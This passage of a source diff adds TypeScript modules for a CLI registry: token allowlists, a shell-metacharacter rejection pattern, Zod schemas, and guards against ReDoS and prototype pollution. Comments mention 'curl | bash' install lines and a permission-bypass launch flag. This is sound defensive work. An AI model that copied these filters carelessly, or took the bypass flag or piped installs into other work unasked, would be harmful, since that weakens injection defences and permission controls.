CLI registry module. + * @module config/cli-registry + */ + +export type { + ArgSpec, + CliCapabilities, + CliCredStore, + CliDiscovery, + CliEntry, + CliEnv, + CliId, + CliIdentityProbe, + CliLaunch, + CliOverlays, + CliRegistryFile, + CliVariant, + CliVersionProbe, + Cond, + EngineValue, + ParamSpec, + QuoteStyle, +} from './types.js'; +export { + matchesPattern, + TOKEN_PATTERNS, + SAFE_BARE_TOKEN, + compileVersionRegex, + MAX_VERSION_OUTPUT, +} from './patterns.js'; +export type { TokenPattern } from './patterns.js'; +export { renderLaunch, renderCliCommand } from './argv.js'; +export type { EngineValues, ParamValues } from './argv.js'; +export { CliEntrySchema } from './schema.js'; +export type { ValidatedCliEntry } from './schema.js'; +export { STOCK_CLIS } from './stock.js'; +export { + asCliId, + cliIds, + enabledCliIds, + enabledClis, + getCli, + listClis, + loadCliRegistry, + reloadCliRegistry, + resolveInstallCommandForPlatform, + resolveRegistry, +} from './registry.js'; +export type { LoadResult } from './registry.js'; +export { + COMPOSER_ANCHOR_KINDS, + isKnownLauncherProfile, + isKnownPredictProfile, + isKnownSetenvProfile, + LAUNCHER_PROFILE_NAMES, + PREDICT_PROFILES, + SETENV_PROFILE_NAMES, + TRANSCRIPT_READER_NAMES, +} from './profiles.js'; +export type { LauncherProfileName, SetenvProfileName } from './profiles.js'; diff --git a/src/config/cli-registry/patterns.ts b/src/config/cli-registry/patterns.ts new file mode 100644 index 00000000..20787a57 --- /dev/null +++ b/src/config/cli-registry/patterns.ts @@ -0,0 +1,121 @@ +/** + * @fileoverview Named value patterns for the CLI registry's argv engine. + * + * Config entries select a pattern BY NAME; the regexes themselves live here, in code. + * That is deliberate and is the reason a user-editable `clis.json` cannot widen its own + * validation: there is no field anywhere in the schema that accepts a raw regex for a + * shell token, so no entry can supply `.*` (nor a catastrophically backtracking one). + * + * The sole user-supplied regex in the whole registry is `discovery.version.regex`, which + * is applied to `--version` OUTPUT rather than to a shell token, and goes through + * `compileVersionRegex()` below. + * + * Every pattern here is transcribed from the builder it replaces in tmux-manager.ts, so + * the argv engine accepts and rejects exactly the values the hand-written builders did. + * + * @module config/cli-registry/patterns + */ + +/** Names a value pattern. Config may only reference these. */ +export type TokenPattern = + | 'model' + | 'model-claude' + | 'model-pi' + | 'id' + | 'id-dotted' + | 'uuid' + | 'slug' + | 'path-segment' + | 'tool-list' + | 'config-kv'; + +/** + * The patterns, each traced to the builder it came from. + * + * ⚠️ These are ALLOWLISTS (`^...$` over a safe character class), never blocklists — with + * one deliberate exception, `tool-list`, which mirrors the existing `--allowedTools` + * sanitizer. That one is a metacharacter REJECTION because tool specs legitimately contain + * `(`, `)`, `*`, `:` and spaces (`Bash(git:*), Read`), so an allowlist of safe words cannot + * express it. Keeping it byte-identical to the original matters more than making it uniform. + */ +const PATTERNS: Record = { + // buildOpenCodeCommand / buildCodexCommand / buildGeminiCommand / buildAntigravityCommand + model: /^[a-zA-Z0-9._\-/]+$/, + // buildSpawnCommand's claude branch — `[` and `]` for bracketed model aliases + 'model-claude': /^[a-zA-Z0-9._\-[\]]+$/, + // buildPiCommand — `:` for a thinking suffix (`sonnet:high`), `/` for `provider/id` + 'model-pi': /^[a-zA-Z0-9._\-/:]+$/, + // opencode --session, codex resume + id: /^[a-zA-Z0-9_-]+$/, + // gemini --resume, antigravity --conversation, pi --session + 'id-dotted': /^[a-zA-Z0-9._-]+$/, + // claude --resume / --session-id + uuid: /^[a-f0-9-]+$/, + // pi --provider + slug: /^[a-z0-9-]+$/, + // dsh --profile. Deliberately STRICTER than `id-dotted`: a profile name is both + // interpolated into the shell line AND joined into a filesystem path, so it must be a + // single path segment. Requiring a leading alphanumeric is what rules out `.`, `..` and + // dotfile names, which `id-dotted` would happily accept. + 'path-segment': /^[a-zA-Z0-9][a-zA-Z0-9._-]*$/, + // codex --config tui.animations=false + 'config-kv': /^[A-Za-z0-9._-]+=[A-Za-z0-9._-]+$/, + // Placeholder; `tool-list` is handled by isSafeToolList() below, not by a match. + 'tool-list': /^$/, +}; + +/** + * Shell metacharacters rejected in an `--allowedTools` value. Transcribed verbatim from + * buildClaudePermissionFlags so the accepted set does not move. + */ +const TOOL_LIST_DANGEROUS = /[;&|$`\\{}<>'"[\]\n\r]/; + +/** Does `value` satisfy the named pattern? */ +export function matchesPattern(pattern: TokenPattern, value: string): boolean { + if (pattern === 'tool-list') return value.length > 0 && !TOOL_LIST_DANGEROUS.test(value); + return PATTERNS[pattern].test(value); +} + +/** Every pattern name, for schema validation and error messages. */ +export const TOKEN_PATTERNS = Object.keys(PATTERNS) as TokenPattern[]; + +/** + * Characters a token may contain and still be emitted UNQUOTED into the `bash -c "..."` + * command string. Intentionally narrower than "what bash tolerates": anything outside it + * gets single-quoted, so the classification can only ever err toward more quoting. + */ +export const SAFE_BARE_TOKEN = /^[A-Za-z0-9._:@=+/,-]+$/; + +/** + * Longest `--version` output we will run a user-supplied regex over. A version banner is a + * line or two; anything larger is a misconfiguration, and capping the input is what keeps a + * sloppy (not necessarily malicious) regex from becoming a stall. + */ +export const MAX_VERSION_OUTPUT = 200; + +/** Longest permitted `discovery.version.regex` source. */ +const MAX_VERSION_REGEX_SOURCE = 200; + +/** + * Nested quantifiers — `(a+)+`, `(a*)*`, `(a+)*` and friends — the classic catastrophic + * backtracking shape. Rejected outright rather than analysed: this field exists to pull a + * semver out of a banner, and nothing legitimate for that job needs a nested quantifier. + */ +const NESTED_QUANTIFIER = /\([^)]*[+*][^)]*\)\s*[+*{]/; + +/** + * Compile a user-supplied version regex, or return null if it is not one we are willing to + * run. Returning null (rather than throwing) lets the caller degrade to "version unknown", + * which every consumer already handles. + */ +export function compileVersionRegex(source: string): RegExp | null { + if (source.length > MAX_VERSION_REGEX_SOURCE) return null; + if (NESTED_QUANTIFIER.test(source)) return null; + try { + // No `g`: a global regex carries lastIndex state across calls, which is a documented + // footgun in this codebase (see utils/regex-patterns.ts). + return new RegExp(source); + } catch { + return null; + } +} diff --git a/src/config/cli-registry/profiles.ts b/src/config/cli-registry/profiles.ts new file mode 100644 index 00000000..11519142 --- /dev/null +++ b/src/config/cli-registry/profiles.ts @@ -0,0 +1,100 @@ +/** + * @fileoverview The NAMES of code profiles a `CliEntry` field may select, and the helpers + * that validate them. + * + * A profile is the escape hatch for behaviour that is genuinely code-shaped and cannot be + * expressed as data — codex's predictive write-through echo, deepseek's profile-launcher + * runnability check, deepseek's status bridge — without letting any of that code branch on + * a CLI's id. A registry field names a profile; the implementation lives beside whatever it + * needs, and looks its name up here. + * + * ⚠️ This module is PURE and must stay that way: names, types and predicates only, no + * imports outside this directory. The implementations pull in resolvers and the status + * shim, which in turn reach back into the registry, so holding them here would close an + * import cycle (profiles → deepseek-cli-resolver → cli-resolver → registry → schema → + * profiles). Keeping the names here and the implementations at their call sites is what + * lets `schema.ts` validate a profile name at LOAD time — a custom entry naming a profile + * this build does not implement fails loudly instead of silently failing closed later. + * + * The rule all of this enforces: `test/cli-registry-no-id-branching.test.ts` fails on any + * `mode === ''` comparison outside `stock.ts`, so a NEW behavioural special case + * must be added here, named, and referenced from a registry field — never inlined as an id + * check at the call site. + * + * ⚠️ A profile is a LAST resort, not a convenience. Reach for one only when the behaviour + * needs to run code (a side effect, a computed value, a probe); anything that is a list, a + * flag, or a string belongs in the entry as data, where a custom CLI can also use it. + * + * @module config/cli-registry/profiles + */ + +/** + * Predictive local-echo profiles, selected via `capabilities.echo.predictProfile`. + * + * Implementation: packages/xterm-zerolag-input/src/predictive-echo-addon.ts. + * + * ⚠️ Unlike the other two registries, an unknown name here degrades to the 'buffer' policy + * rather than failing. Echo is a comfort feature — a worse-but-working overlay beats a + * refused session — which is why `predictProfile` alone is not schema-validated below. + */ +export const PREDICT_PROFILES: Record = { + codex: true, +}; + +/** + * Launcher profiles, selected via `discovery.launcherProfile`. + * + * For a CLI whose binary launches some further target, and so cannot answer two questions + * from the binary alone: is it RUNNABLE (stricter than "is the binary on disk?"), and what + * is the DEFAULT target when the caller names none? A CLI naming no profile is runnable + * exactly when its binary resolves, and has no default target. + * + * Implementation: `src/utils/cli-launcher.ts`. + */ +export const LAUNCHER_PROFILE_NAMES = [ + // `dsh` is a launcher over $DSH_HOME/profiles/, and the profiles DeepSeek itself + // ships (web, headless) cannot drive a terminal pane. Binary AND a pane-capable profile. + 'deepseek-profile', +] as const; + +/** + * Extra `tmux setenv` work, selected via `env.setenvProfile`. + * + * Implementation: `src/tmux-manager.ts`, which already owns every setenv call. + * + * ⚠️ Anything that is merely "forward this name from the server's own env" belongs in + * `env.tmuxSetenvKeys` as data and must NOT be given a profile. + */ +export const SETENV_PROFILE_NAMES = [ + // DeepSeek's terminal front door reports idle/working/blocked to a supervisor over the + // generic env-gated Herdr contract; this makes Codeman that supervisor. It needs a + // profile rather than key names because it writes an executable shim to disk and then + // exports that shim's path along with the session's own pane id. + 'deepseek-status-bridge', +] as const; + +export type LauncherProfileName = (typeof LAUNCHER_PROFILE_NAMES)[number]; +export type SetenvProfileName = (typeof SETENV_PROFILE_NAMES)[number]; + +/** + * Transcript readers, selected via `capabilities.transcript`. Unlike the profile registries + * above this one is closed over the schema enum itself rather than an open string, since + * transcript format is a small, genuinely fixed set — see CliCapabilities['transcript']. + */ +export const TRANSCRIPT_READER_NAMES = ['claude-jsonl', 'codex-rollout', 'deepseek-zstd', 'none'] as const; + +/** Composer-row finders, selected via `capabilities.echo.anchor.kind`. Also schema-closed. */ +export const COMPOSER_ANCHOR_KINDS = ['glyph', 'cursor', 'none'] as const; + +/** True when `name` is a predictive-echo profile this build actually implements. */ +export function isKnownPredictProfile(name: string | undefined): boolean { + return name !== undefined && Object.prototype.hasOwnProperty.call(PREDICT_PROFILES, name); +} + +export function isKnownLauncherProfile(name: string): name is LauncherProfileName { + return (LAUNCHER_PROFILE_NAMES as readonly string[]).includes(name); +} + +export function isKnownSetenvProfile(name: string): name is SetenvProfileName { + return (SETENV_PROFILE_NAMES as readonly string[]).includes(name); +} diff --git a/src/config/cli-registry/registry.ts b/src/config/cli-registry/registry.ts new file mode 100644 index 00000000..cd9c590c --- /dev/null +++ b/src/config/cli-registry/registry.ts @@ -0,0 +1,235 @@ +/** + * @fileoverview Loads, merges and re-validates the CLI registry. + * + * `~/.codeman/clis.json` holds OVERRIDES and CUSTOM entries only — never a full copy of the + * stock catalog — so a shipped fix to a stock definition actually reaches an existing + * install, and the file stays small enough to hand-edit. + * + * Resolution: start from `STOCK_CLIS` → deep-merge each override by id (objects merge + * key-wise, arrays replace wholesale) → validate every resulting entry. A stock entry that + * fails validation after merge falls back to its pristine stock definition (a fat-fingered + * override cannot brick a shipped CLI); a custom entry that fails is dropped with a warning + * rather than failing the whole load. Stock entries are always emitted, so `shell` and + * `claude` can be disabled but can never go missing — large parts of the app assume at + * minimum that a shell fallback exists. + * + * ⚠️ READ-ONLY. Nothing in this module writes, creates or migrates the file. That is a + * deliberate property, not a missing feature: there is no settings UI and no write API yet, + * so there is nothing to persist, and it means importing the registry — which + * `src/web/schemas.ts` does, transitively, just to validate a request — performs no + * filesystem writes. A `seededStockIds` ratchet belongs with the write API that needs it. + * The one exception is the quarantine RENAME of a file that fails to parse (see + * `readRegistryFile`), which happens on first use rather than at import. + * + * ⚠️ The file must be mode 0600. `isUnsafePermissions` refuses ANY group/world bit, read + * bits included, so a file created with a normal umask (0644) is ignored. Every reason the + * file was ignored, or an entry in it dropped, is logged ONCE on first load: the warnings + * used to be returned to a caller that nobody wired up, so a normally-created file was + * ignored with no feedback anywhere (found reviewing #347). + * + * @module config/cli-registry/registry + */ + +import { existsSync, readFileSync, renameSync, statSync } from 'node:fs'; +import { dataPath } from '../instance.js'; +import type { CliEntry, CliId, CliRegistryFile } from './types.js'; +import { CliEntrySchema } from './schema.js'; +import { STOCK_CLIS } from './stock.js'; + +/** Construct a validated CliId. Throws if `raw` is not a well-formed id — call at API boundaries. */ +export function asCliId(raw: string): CliId { + if (!/^[a-z][a-z0-9-]{0,23}$/.test(raw)) { + throw new Error(`invalid CLI id: ${JSON.stringify(raw)}`); + } + return raw as CliId; +} + +function filePath(): string { + return dataPath('clis.json'); +} + +/** + * Keys that must never be merged out of a hand-editable JSON file. + * + * `JSON.parse` produces `__proto__` as an ORDINARY own property, but `result[key] = …` on a + * plain object walks the setter chain and would set the merged object's PROTOTYPE instead. + * Not exploitable today — every merged entry is spread into `{ ...merged, id, stock }` and + * then Zod-parsed before anything reads it, which drops the effect — but "not exploitable + * because of what a caller happens to do afterwards" is a property that quietly stops + * holding. A `continue` in the loop that reads the file is the cheap end of that trade. + */ +const UNMERGEABLE_KEYS = new Set(['__proto__', 'constructor', 'prototype']); + +/** Plain-object deep merge: nested objects merge key-wise, arrays and primitives replace. */ +function deepMerge(base: T, override: unknown): T { + if (override === null || typeof override !== 'object' || Array.isArray(override)) { + return (override === undefined ? base : (override as T)) ?? base; + } + if (base === null || typeof base !== 'object' || Array.isArray(base)) { + return override as T; + } + const result: Record = { ...(base as Record) }; + for (const [key, value] of Object.entries(override as Record)) { + if (UNMERGEABLE_KEYS.has(key)) continue; + result[key] = deepMerge((base as Record)[key], value); + } + return result as T; +} + +export interface LoadResult { + entries: CliEntry[]; + warnings: string[]; +} + +/** + * Refuse a registry file with any group/world permission bit — same posture as the ssh-key + * discipline, so 0600 is the only accepted mode. This file selects the binaries Codeman + * spawns, so a writable one is a way to redirect every session. + * + * POSIX only: Windows has no meaningful group/world bits on NTFS (Node reports every file + * as mode 0o666 there regardless of its actual ACL), so this check would flag every file on + * Windows and silently ignore all user config. `win32` relies on NTFS ACLs instead, which + * this check cannot see and does not attempt to. + */ +function isUnsafePermissions(path: string): boolean { + if (process.platform === 'win32') return false; + try { + const mode = statSync(path).mode & 0o777; + return (mode & 0o077) !== 0; + } catch { + return false; + } +} + +function readRegistryFile(path: string, warnings: string[]): CliRegistryFile | null { + if (!existsSync(path)) return null; + if (isUnsafePermissions(path)) { + warnings.push( + `${path} must be mode 0600 (no group/world permission bits; run \`chmod 600 ${path}\`); ignoring it and falling back to stock CLIs.` + ); + return null; + } + let raw: string; + try { + raw = readFileSync(path, 'utf-8'); + } catch (err) { + warnings.push(`Failed to read ${path}: ${(err as Error).message}. Falling back to stock CLIs.`); + return null; + } + try { + const parsed = JSON.parse(raw) as CliRegistryFile; + if (typeof parsed !== 'object' || parsed === null || typeof parsed.clis !== 'object') { + throw new Error('missing "clis" object'); + } + return parsed; + } catch (err) { + // QUARANTINE, never overwrite: the file is hand-editable, so a syntax error is far more + // likely to be a half-finished edit than junk. Renaming keeps the user's work. + const quarantined = `${path}.invalid-${Date.now()}`; + try { + renameSync(path, quarantined); + warnings.push(`${path} was not valid JSON (${(err as Error).message}); moved to ${quarantined}.`); + } catch { + warnings.push( + `${path} was not valid JSON (${(err as Error).message}); left in place, falling back to stock CLIs.` + ); + } + return null; + } +} + +/** + * Merge the stock catalog with a (possibly absent) registry file. PURE — no IO, which is + * what lets the load tests drive every merge case directly. + */ +export function resolveRegistry(stock: CliEntry[], file: CliRegistryFile | null, warnings: string[]): LoadResult { + const stockById = new Map(stock.map((e) => [e.id as string, e])); + const overrides = file?.clis ?? {}; + const entries: CliEntry[] = []; + + for (const stockEntry of stock) { + const id = stockEntry.id as string; + const override = overrides[id]; + const merged = override ? deepMerge(stockEntry, override) : stockEntry; + // `stock: true` is forced here rather than read from the merged object, so an override + // can never flip a custom entry's provenance or vice versa. + const parsed = CliEntrySchema.safeParse({ ...merged, id, stock: true }); + if (parsed.success) { + entries.push(parsed.data as CliEntry); + } else { + warnings.push( + `Override for stock CLI "${id}" failed validation; using the shipped definition. ${parsed.error.message}` + ); + entries.push(stockEntry); + } + } + + for (const [id, raw] of Object.entries(overrides)) { + if (stockById.has(id)) continue; // already merged above + // Same forcing in the other direction: a custom entry claiming `stock: true` cannot + // shadow or impersonate a shipped one. + const parsed = CliEntrySchema.safeParse({ ...(raw as object), id, stock: false }); + if (parsed.success) { + entries.push(parsed.data as CliEntry); + } else { + warnings.push(`Custom CLI "${id}" failed validation and was dropped. ${parsed.error.message}`); + } + } + + entries.sort((a, b) => a.order - b.order); + return { entries, warnings }; +} + +let cache: LoadResult | null = null; + +/** + * Load the effective registry (stock + user overrides). Memoized for the process lifetime; + * `reloadCliRegistry()` invalidates. + */ +export function loadCliRegistry(): LoadResult { + if (cache) return cache; + const warnings: string[] = []; + const existing = readRegistryFile(filePath(), warnings); + cache = resolveRegistry(STOCK_CLIS, existing, warnings); + // Once per process (the result is memoized): silence here is what made a 0644 file look + // like "the override feature does nothing". + for (const warning of warnings) console.warn(`[cli-registry] ${warning}`); + return cache; +} + +/** Drop the memoized registry so the next `loadCliRegistry()` re-reads the file. */ +export function reloadCliRegistry(): void { + cache = null; +} + +export function listClis(): CliEntry[] { + return loadCliRegistry().entries; +} + +export function enabledClis(): CliEntry[] { + return listClis().filter((e) => e.enabled); +} + +export function getCli(id: string): CliEntry | undefined { + return listClis().find((e) => (e.id as string) === id); +} + +export function cliIds(): string[] { + return listClis().map((e) => e.id as string); +} + +/** Every enabled entry's id, in registry order. */ +export function enabledCliIds(): string[] { + return enabledClis().map((e) => e.id as string); +} + +/** + * Resolve the install command for the current platform, falling back to the linux one (the + * common case for a `curl | bash` or `npm install -g` line) and then to whatever is + * declared. Display text only — never executed. See CliDiscovery.install.command. + */ +export function resolveInstallCommandForPlatform(entry: CliEntry): string | undefined { + const { command } = entry.discovery.install; + const platform = process.platform as 'linux' | 'darwin' | 'win32'; + return command[platform] ?? command.linux ?? Object.values(command)[0]; +} diff --git a/src/config/cli-registry/schema.ts b/src/config/cli-registry/schema.ts new file mode 100644 index 00000000..0add111f --- /dev/null +++ b/src/config/cli-registry/schema.ts @@ -0,0 +1,428 @@ +/** + * @fileoverview Zod validation for CLI registry entries. + * + * Every object here is `.strict()`: an unknown key is a hard validation error, not a + * silently-ignored one. That matters for a security-relevant schema — a typo in a field name + * must never degrade to "field absent, so the permissive default applies". + * + * The load-bearing rule enforced here is `SHELL_TOKEN`: it is what makes it impossible for a + * `clis.json` entry to smuggle shell metacharacters into the eventual `bash -c "..."` string + * (see argv.ts's file header for the full model). + * + * @module config/cli-registry/schema + */ + +import { z } from 'zod'; +import { TOKEN_PATTERNS } from './patterns.js'; +import { isKnownLauncherProfile, isKnownSetenvProfile } from './profiles.js'; + +/** A bare CLI id: lowercase, starts with a letter, at most 24 chars. Also used as a CSS/URL token. */ +const cliId = z + .string() + .regex(/^[a-z][a-z0-9-]{0,23}$/, 'id must be lowercase, start with a letter, and be at most 24 chars'); + +/** An env var name. */ +const envName = z + .string() + .regex(/^[A-Z_][A-Z0-9_]*$/, 'env var name must be UPPER_SNAKE_CASE') + .max(64); + +/** + * A shell-safe bare word: no space, quote, backtick, `$`, `;`, `&`, `|`, `<`, `>`, parens, + * braces, newline or backslash. Every LITERAL in the launch spec (base command, flag names, + * fixed values) must satisfy this — see argv.ts's file header. + */ +const shellToken = z + .string() + .min(1) + .max(256) + .regex(/^[A-Za-z0-9._:@=+/,-]+$/, 'must be a plain word with no shell metacharacters'); + +const flagToken = z.string().regex(/^--?[A-Za-z0-9][A-Za-z0-9-]*$/, 'must look like -x or --long-flag'); + +const quoteStyle = z.enum(['auto', 'bare', 'double', 'single']); + +const condSchema: z.ZodType = z.lazy(() => + z.union([ + z.object({ param: z.string(), is: z.union([z.string(), z.boolean()]) }).strict(), + z.object({ param: z.string(), state: z.enum(['set', 'unset']) }).strict(), + z.object({ allOf: z.array(condSchema).min(1).max(8) }).strict(), + z.object({ anyOf: z.array(condSchema).min(1).max(8) }).strict(), + z.object({ not: condSchema }).strict(), + z.object({ capabilityGate: z.string() }).strict(), + ]) +); + +const paramSpecSchema = z.union([ + z + .object({ type: z.literal('enum'), values: z.array(z.string()).min(1).max(16), default: z.string().optional() }) + .strict(), + z.object({ type: z.literal('bool') }).strict(), + z.object({ type: z.literal('token'), pattern: z.enum(TOKEN_PATTERNS as [string, ...string[]]) }).strict(), + z + .object({ + type: z.literal('engine'), + source: z.enum([ + 'sessionId', + 'sessionName', + 'muxName', + 'effortLevel', + 'effortSettingsJson', + 'codemanPrefixedSessionId', + 'launcherDefaultTarget', + ]), + }) + .strict(), +]); + +const argSpecSchema = z.union([ + z.object({ lit: shellToken, when: condSchema.optional() }).strict(), + z.object({ flag: flagToken, when: condSchema.optional() }).strict(), + z.object({ flag: flagToken, value: shellToken, quote: quoteStyle.optional(), when: condSchema.optional() }).strict(), + z + .object({ flag: flagToken, valueFrom: z.string(), quote: quoteStyle.optional(), when: condSchema.optional() }) + .strict(), + z.object({ valueFrom: z.string(), quote: quoteStyle.optional(), when: condSchema.optional() }).strict(), +]); + +const variantSchema = z + .object({ + id: z.string().min(1).max(40), + when: condSchema.optional(), + // min(0): the `shell` entry declares a variant with no args — tmux-manager resolves the + // real login shell in code, since it varies per remote user's /etc/passwd entry. + args: z.array(argSpecSchema).max(32), + }) + .strict(); + +const launchSchema = z + .object({ + params: z.record(z.string(), paramSpecSchema), + chain: z.enum(['first', 'fallback']).optional(), + variants: z.array(variantSchema).min(1).max(4), + legacyConfigAliases: z.record(z.string(), z.string()).optional(), + legacyConfigField: z.string().min(1).max(40).optional(), + resumeAppend: z + .union([ + z.object({ style: z.literal('flag'), flag: flagToken }).strict(), + z.object({ style: z.literal('positional'), token: shellToken }).strict(), + ]) + .optional(), + }) + .strict() + .superRefine((launch, ctx) => { + const paramNames = new Set(Object.keys(launch.params)); + const checkValueFrom = (name: string, path: (string | number)[]) => { + if (!paramNames.has(name)) { + ctx.addIssue({ code: 'custom', message: `valueFrom "${name}" is not a declared param`, path }); + } + }; + launch.variants.forEach((variant, vi) => { + variant.args.forEach((arg, ai) => { + if ('valueFrom' in arg) checkValueFrom(arg.valueFrom, ['variants', vi, 'args', ai, 'valueFrom']); + }); + }); + if (launch.chain === 'fallback') { + const last = launch.variants.at(-1); + if (last?.when) { + ctx.addIssue({ + code: 'custom', + message: 'the last variant of a fallback chain must have no `when` (it must be the guaranteed terminal case)', + path: ['variants', launch.variants.length - 1, 'when'], + }); + } + } + if (launch.legacyConfigAliases) { + for (const paramName of Object.keys(launch.legacyConfigAliases)) { + if (!paramNames.has(paramName)) { + ctx.addIssue({ + code: 'custom', + message: `legacyConfigAliases key "${paramName}" is not a declared param`, + path: ['legacyConfigAliases', paramName], + }); + } + } + } + }); + +const versionProbeSchema = z + .object({ + arg: shellToken, + regex: z.string().max(200).optional(), + requireVersionMatch: z.boolean().optional(), + retryOnTransientFailure: z.boolean().optional(), + }) + .strict(); + +const identityProbeSchema = z + .object({ + arg: shellToken, + // Same 200-char cap as version.regex, and compiled through the same compileVersionRegex() + // guard at use time. This is the second and last config-supplied regex in the registry. + regex: z.string().min(1).max(200), + }) + .strict(); + +const discoverySchema = z + .object({ + // min(0): the `shell` entry has no binary of its own (it resolves the login shell in code). + binaries: z.array(shellToken).max(4), + searchDirs: z.array(z.string().max(300)).max(16), + version: versionProbeSchema.optional(), + identity: identityProbeSchema.optional(), + launcherProfile: z.string().max(40).optional(), + launcherTargetParam: z.string().max(40).optional(), + install: z + .object({ + // z.record with an enum key type requires every enum member in Zod v4; the install + // command legitimately varies by platform and most entries only need one or two, so + // this is a plain object of optional platform keys instead. + command: z + .object({ + linux: z.string().max(500).optional(), + darwin: z.string().max(500).optional(), + wsl: z.string().max(500).optional(), + win32: z.string().max(500).optional(), + }) + .strict(), + npmPackage: z.string().max(200).optional(), + docsUrl: z.url().optional(), + }) + .strict(), + }) + .strict(); + +const envExportSchema = z + .object({ + name: envName, + value: z.union([ + shellToken, + z + .object({ + engine: z.enum([ + 'sessionId', + 'sessionName', + 'muxName', + 'effortLevel', + 'effortSettingsJson', + 'codemanPrefixedSessionId', + 'launcherDefaultTarget', + ]), + }) + .strict(), + ]), + when: condSchema.optional(), + }) + .strict(); + +const envSchema = z + .object({ + exports: z.array(envExportSchema).max(16), + unset: z.array(envName).max(16), + tmuxSetenvKeys: z.array(envName).max(32), + dockerExecEnvNames: z.array(envName).max(32), + configSetenv: z + .array(z.object({ name: envName, fromParam: z.string().min(1).max(40) }).strict()) + .max(8) + .optional(), + allowedPrefixes: z + .array( + z + .string() + .min(3) + .max(32) + .regex(/^[A-Z][A-Z0-9_]*_$/) + ) + .max(8), + allowedKeys: z.array(envName).max(8), + configContentVar: envName.optional(), + setenvProfile: z.string().max(40).optional(), + }) + .strict(); + +const echoSchema = z + .object({ + policy: z.enum(['buffer', 'predict', 'off']), + anchor: z.union([ + z + .object({ kind: z.literal('glyph'), glyph: z.string().min(1).max(4), offset: z.number().int().min(0).max(16) }) + .strict(), + z.object({ kind: z.literal('cursor') }).strict(), + z.object({ kind: z.literal('none') }).strict(), + ]), + predictProfile: z.string().max(40).optional(), + }) + .strict(); + +const capabilitiesSchema = z + .object({ + external: z.boolean(), + requiresMux: z.boolean(), + hooks: z.enum(['none', 'always', 'supervised']), + transcript: z.enum(['claude-jsonl', 'codex-rollout', 'deepseek-zstd', 'omp-jsonl', 'none']), + altScreen: z.enum(['strip-full', 'strip-mux-only', 'preserve']), + echo: echoSchema, + wheelForward: z + .object({ mode: z.enum(['never', 'version-gated']), minVersion: z.string().max(20).optional() }) + .strict(), + keyboardAccessory: z.enum(['agent', 'shell']), + privilegedCommandGate: z.boolean(), + startMode: z.enum(['interactive', 'shell']), + stripInkBloat: z.boolean(), + ralph: z.boolean(), + respawn: z.boolean(), + effort: z.boolean(), + agentSkillInjection: z.boolean(), + statusLineTelemetry: z.boolean(), + model: z + .object({ source: z.enum(['flag', 'claude-settings-file', 'none']), param: z.string().optional() }) + .strict(), + privilegedParams: z + .array( + z + .object({ + param: z.string(), + clampTo: z.union([z.boolean(), z.string()]), + materializeWhenAbsent: z.boolean().optional(), + }) + .strict() + ) + .max(8), + // Exact env var NAMES, not prefixes: this list is a targeted deny, and a prefix here + // would let one entry silently strip a whole namespace off every owner's overrides. + privilegedEnvKeys: z.array(envName).max(8), + gates: z.record(z.string(), z.object({ minVersion: z.string().max(20), failClosed: z.boolean() }).strict()), + maxFrameBytes: z.number().int().positive().optional(), + }) + .strict(); + +const credStoreSchema = z + .object({ + rel: z.string().min(1).max(100), + shareDirs: z.array(z.string().max(100)).optional(), + shareFiles: z.array(z.string().max(100)).optional(), + seedFiles: z.array(z.string().max(100)).optional(), + seedWhole: z.boolean().optional(), + }) + .strict(); + +/** + * A remote/docker default pane command: space-separated bare words from the SAME safe + * charset as `shellToken` (no shell metacharacters), so `claude --dangerously-skip-permissions` + * is expressible while still excluding `;`, `|`, `$`, backticks and quotes — this is not an + * escape hatch into arbitrary shell text, it is one bare command plus bare flags. + */ +const commandLine = z + .string() + .min(1) + .max(200) + .regex( + /^[A-Za-z0-9._:@=+/,-]+( [A-Za-z0-9._:@=+/,-]+)*$/, + 'must be space-separated bare words with no shell metacharacters' + ); + +const overlayTargetSchema = z.union([ + z.object({ command: commandLine.optional(), rootCommand: commandLine.optional() }).strict(), + z.object({ disabled: z.literal(true) }).strict(), +]); + +const overlaysSchema = z + .object({ + remote: overlayTargetSchema.optional(), + docker: overlayTargetSchema.optional(), + credStore: credStoreSchema.optional(), + }) + .strict(); + +export const CliEntrySchema = z + .object({ + id: cliId, + label: z.string().min(1).max(60), + shortBadge: z.string().min(1).max(6), + accent: z.string().regex(/^#[0-9a-fA-F]{6}$/, 'accent must be a 6-digit hex colour'), + enabled: z.boolean(), + stock: z.boolean(), + order: z.number().int(), + kind: z.enum(['agent', 'shell']), + discovery: discoverySchema, + launch: launchSchema, + env: envSchema, + capabilities: capabilitiesSchema, + overlays: overlaysSchema, + }) + .strict() + .superRefine((entry, ctx) => { + const gateNames = new Set(Object.keys(entry.capabilities.gates)); + const walkConds = (cond: import('./types.js').Cond | undefined) => { + if (!cond) return; + if ('capabilityGate' in cond && !gateNames.has(cond.capabilityGate)) { + ctx.addIssue({ + code: 'custom', + message: `capabilityGate "${cond.capabilityGate}" is not declared in capabilities.gates`, + }); + } + if ('allOf' in cond) cond.allOf.forEach(walkConds); + if ('anyOf' in cond) cond.anyOf.forEach(walkConds); + if ('not' in cond) walkConds(cond.not); + }; + for (const variant of entry.launch.variants) { + walkConds(variant.when); + for (const arg of variant.args) walkConds(arg.when); + } + + // Reject a profile name this build does not implement, rather than letting it fail + // closed at use time. An unimplemented `launcherProfile` would make the CLI look + // permanently uninstalled, and an unimplemented `setenvProfile` would silently skip + // setup the CLI needs; both are far easier to diagnose as a load-time error naming the + // field. (`echo.predictProfile` is deliberately NOT checked here — see profiles.ts.) + const { launcherProfile } = entry.discovery; + if (launcherProfile !== undefined && !isKnownLauncherProfile(launcherProfile)) { + ctx.addIssue({ + code: 'custom', + message: `discovery.launcherProfile "${launcherProfile}" is not a profile this build implements`, + path: ['discovery', 'launcherProfile'], + }); + } + // An env var exported from a param that does not exist would silently export nothing, + // and for DSH_PERMISSION_MODE that means silently losing a permission clamp. + const declaredParams = new Set(Object.keys(entry.launch.params)); + entry.env.configSetenv?.forEach((mapping, i) => { + if (!declaredParams.has(mapping.fromParam)) { + ctx.addIssue({ + code: 'custom', + message: `configSetenv fromParam "${mapping.fromParam}" is not a declared launch param`, + path: ['env', 'configSetenv', i, 'fromParam'], + }); + } + }); + + // Same class of silent failure on the OTHER privileged surface, and this one is a + // security control: `privilegedParams[].param` is the multi-user bypass clamp's only + // handle on a CLI's privilege switch, and a name that is not a declared param clamps + // NOTHING — no load error, no failing test, the clamp simply stops running. The clamp + // resolves the name through `legacyConfigAliases`, so this check is what keeps the two + // in ONE namespace rather than two that merely coincide today: they do not for codex + // (`bypassApprovals` vs `dangerouslyBypassApprovals`), and giving deepseek's + // `permissionMode` an alias later would otherwise have removed its clamp with nothing + // saying so. + 